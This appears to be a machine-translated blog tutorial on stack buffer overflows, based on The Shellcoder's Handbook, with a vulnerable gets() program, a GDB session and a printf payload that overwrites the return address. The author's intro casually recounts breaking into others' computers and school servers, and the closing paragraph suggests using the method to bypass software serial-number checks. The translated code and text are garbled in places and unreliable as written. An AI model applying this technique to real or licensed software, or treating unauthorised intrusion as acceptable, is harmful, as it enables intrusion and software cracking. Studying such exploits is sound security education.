Shellcode: Stack Overflow

Source: Internet
Author: User


Now I am an embedded software developer. I am a bachelor majoring in electronic information. Normally, I will not deal with intrusion or vulnerability exploitation. It was just a whim that used a tool to enter another computer. In fact, this is not important. What matters is that I have removed the first a film from that computer. If there is no accident, the computer should belong to a girl, because the IP address segment belongs to the girl's building. Later, I was certain to say to others: Girls also want to watch porn. Later, I used tools to intrude more LAN computers and even some Community servers in the school. Later, I began to feel boring, and fell in love with cartoons and War3. In the next few years, my college life struggled in animation and games. One or two years after graduation, I was not busy with my work. I lost my passion for games and always wanted to find something to spare. So I wrote a program unrelated to my work, and the shellcode research was also covered here. It is impossible to get started with intrusion. At most, I will study the underlying principles to satisfy my curiosity. These articles were written a long time ago and are labeled as valuable.



Statement: The main content is from The Shellcoder's Handbook, which extracts Important Notes and adds some personal understanding. If there is something wrong, be sure to point it out.


In C and C ++, the inherent boundary of the buffer zone is not considered, so Stack Overflow is possible. The user intentionally submits data beyond the buffer range. This situation can lead to different consequences, including program crash or force the program to execute user-submitted commands.


ESP: Stack top register. Note: POP only changes the ESP value, instead of rewriting or deleting the data on the stack. It just copies the data on the stack to the operation object.

EBP: the bottom register of the stack. It is usually used as the base address to calculate other addresses. It is also called "frame Pointer ".

EIP: Extended command pointer. The EIP contains the address of the machine command to be executed. In the execution process of the control program, whether the address stored in the EIP can be accessed or changed is the key to the whole problem.


Function call and stack


The system will first execute the commands in main. When a function is called:

1. Push the parameters of the function func to the stack;

2. Press the return address of the function (that is, the EIP address of the instruction pointer for calling the function saved in RET) into the stack;

3. Call a function.


The system first executes proglog before calling the function func command. Proglog stores some values in the stack so that the system can better execute functions:

1. To enable the function to reference data on the stack, you must change the value of EBP and press the value of the current EBP into the stack. After the function is executed, in order to calculate the address in the main, we need to use the original EBP value. Previously we mentioned that EBP is usually used as the base address to calculate other addresses;

2. Once the EBP value is pushed into the stack, proglog copies the current stack pointer ESP to EBP;

3. Then, proglog calculates the address space required for the local variable of func and the reserved space on the stack, and then deducts the variable size from ESP to reserve the necessary space for the program;

4. Finally, proglog pushes the local variable of func into the stack.

For "to enable a function to reference data on the stack, the EBP value must be changed", does it mean to use EBP as the base address to calculate the address of the local variable on the stack? The current EBP is located in the address space of the local variable.


As mentioned above

+ --------------- + Low memory address, top stack


+ --------------- +

| Local variable |

+ --------------- +

| EBP |

+ --------------- +

| RET |

+ --------------- +

| Parameter 1 |

+ --------------- +

| Parameter 2 |

+ --------------- +


+ --------------- + High memory address, bottom Stack

There are no examples here, which is not intuitive enough. We recommend that you read the code after P12 disassembly. It is worth mentioning that when a function is called, The call Command will push RET (EIP) into the stack and then give the execution control to the func function.


Buffer overflow on the stack


An example Program


··· · 50 ······· · 90 ····· · 140 · 150

// Cc-mpreferred-stack-boundary = 2-ggdb overflow. c-o overflow

# Include <stdio. h>


Void func ()


Char arr [30];

Gets (arr );

Printf ("% S/n", arr );



Int main ()


Func ();

Return 0;


The length of the array arr is 30. When the input string "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDDDDDDDD" (30 'A' and 10 'D' here), A segment fault can be triggered. The following shows the stack situation after arr overflow:


+ --------------- + Low memory address, top stack


+ --------------- +

| AAAAA... ADD | array (30 characters + 2 filling characters)

+ --------------- +


+ --------------- +


+ --------------- +


+ --------------- + High memory address, bottom Stack


Fill the array with 32B and continue code execution. We have rewritten the address for saving EBP. It is now a hexadecimal double byte that includes DDDD. More importantly, we use another set of DDDD dubyte to rewrite RET (the original RET is the saved return address, which points to the return 0; command after func ). When the func function exits, it reads the value stored in RET-now 0x44444444 (hexadecimal format of DDDD) and tries to jump to this address. However, this address is not a valid address or is located in a protected address space, so the program will be terminated due to a segment failure.

The general process is briefly described here. We recommend that you follow the steps in the book and use GDB to track the entire process. Pay special attention to the changes in data on the func stack.


EIP Control

Now the input data overflows the buffer successfully, and the EBP and RET content are rewritten. Therefore, the overflow data is loaded to the EIP. Of course, in the above case, the process will crash. We should control the execution process of the program or the data loaded to the EIP. Replace D with a carefully selected address. The data will be written into the buffer and rewritten to save the EBP and RET. When the system extracts the RET value from the stack and puts it into the EIP, the instruction directed to this address will be executed.

Here is a brief description of the concept, and you have to perform some exercises to have an intuitive impression.

In the example of overflow. c, a normal process is to print the input data only once. If we want to print it twice, that is, to make the program call func twice, we first use GDB to disassemble main and find the address of the call <func> command, for example, 0x080483a5, next, we try to change the place where the RET is saved on the func stack to 0x080483a5. In this way, after the func returns, the EIP extracts the RET value from the func stack (of course this value has been rewritten ), the call <func> to which this address points will be executed again and printed for the second time.

$ Printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddd/xa5/x83/x04/x08" |./overflow

Note: Here, my commands are different from the descriptions in the book and should be modified according to your actual situation.


Sep @ sep :~ /Project/shellcode $

Sep @ sep :~ /Project/shellcode $ gdb./overflow

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

Welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/ ".


(Gdb) disas main; disassembly main

Dump of worker er code for function main:

0x080483a2 <main + 0>: push % ebp

0x080483a3 <main + 1>: mov % esp, % ebp

0x080483a5 <main + 3>: call 0x8048384 <func>; locate the command address of call <func>.

0x080483aa <main + 8>: mov $0x0, % eax; remember this address and save it to RET on the func stack.

0x080483af <main + 13>: pop % ebp

0x080483b0 <main + 14>: ret

End of worker er dump.

(Gdb) disas func; decompiling func

Dump of worker er code for function func:

0x08048384 <func + 0>: push % ebp

0x08048385 <func + 1>: mov % esp, % ebp

0x08048387 <func + 3>: sub $0x24, % esp

0x0804838a <func + 6>: lea 0xffffffe2 (% ebp), % eax

0x0804838d <func + 9>: mov % eax, (% esp)

0x08048390 <func + 12>: call 0x80482a0 <gets @ plt>; locate the call <gets> command address.

0x08048395 <func + 17>: lea 0xffffffe2 (% ebp), % eax

0x08048398 <func + 20>: mov % eax, (% esp)

0x0804839b <func + 23>: call 0x80482b0 <puts @ plt>; locate the call <printf> command address.

0x080483a0 <func + 28>: leave

0x080483a1 <func + 29>: ret

End of worker er dump.

(Gdb) break * 0x08048390; sets the breakpoint-gets

Breakpoint 1 at 0x8048390: file overflow. c, line 7.

(Gdb) break * 0x0804839b; sets the breakpoint-printf

Breakpoint 2 at 0x804839b: file overflow. c, line 8.

(Gdb) run

Starting program:/home/sep/project/shellcode/overflow

Failed to read a valid object file image from memory.


Breakpoint 1, 0x08048390 in func () at overflow. c: 7

7 gets (arr );

(Gdb) x/20x $ esp; print the stack content when no string is entered. Note that 0x080483aa is RET, that is, the address of the next execution command returned by func, this is what we want to modify.

0xbfe70000c: 0xbfe710a2 0x00000001 0xbfe71144 0xbfe710c8

0xbfe710ac: 0x08048429 0xb7e46c8c 0xb7f68ff4 0x00000000

0xbfe710bc: 0xb7f68ff4 0xbfe710c8 0x080483aa 0xbfe71118

0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c

0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0

(Gdb) c



; Input string. There are 30 characters in total, which are intended to see content changes on the stack.



Breakpoint 2, 0x0804839b in func () at overflow. c: 8

8 printf ("% s/n", arr );

(Gdb) x/20x $ esp; input a string to view the content on the stack.

0xbfe70000c: 0xbfe710a2 0x41410001 0x42424141 0x43434242

0xbfe710ac: 0x44444343 0x45454444 0x46464545 0x47474646

0xbfe710bc: 0x48484747 0xbfe71000 0x080483aa 0xbfe71118

0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c

0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0

(Gdb) c




Program exited normally.

(Gdb) q


Well, we already know the data storage location on the stack. How can we rewrite the RET on the stack to print the program twice?


First, the call <func> address is 0x080483a5, and the original RET value is 0x080483aa;


We enter a carefully selected string so that the buffer on the stack overflows and rewrite the RET value to change it to the call <func> address;


For details, refer to the data structure on the stack viewed by GDB, which can be implemented using the following command:

Sep @ sep :~ /Project/shellcode $ printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddd/xa5/x83/x04/x08" |./overflow


Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddd success

Sep @ sep :~ /Project/shellcode $

We imagine a software that requires a valid serial number before use. If the program input a super-long serial number, stack overflow occurs. We can jump to the "correct" code segment after entering the Wrong serial number to generate a valid serial number.

Prepared by sepnic

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.